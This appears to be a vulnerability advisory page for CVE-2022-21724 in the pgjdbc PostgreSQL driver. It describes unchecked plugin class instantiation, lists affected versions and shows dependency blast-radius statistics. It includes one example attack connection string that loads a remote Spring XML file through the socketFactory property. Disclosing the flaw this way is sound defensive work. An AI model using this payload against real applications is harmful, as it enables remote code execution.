HIGH 7.0

CVE-2022-21724

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

Description

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)

Affected Maven artifacts (1)

ArtifactAffected versionsFixed in
org.postgresql » postgresql
>= 9.4.1208, < 42.2.25>= 42.3.0, < 42.3.2
42.2.25, 42.3.2

Blast radius

1affected artifacts
124affected versions
8,114dependent artifacts (est.)
462,611dependent versions

50% of the dependent artifacts (4,125) still pull an affected version in their latest release.

DepthDependent versions
Direct
75,400
2 hops
232,351
3 hops
95,178
4 hops
39,786
5 hops
13,104
6 hops
6,792

Most used dependents

Computed from the dependency graph of build 20261124.0621 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.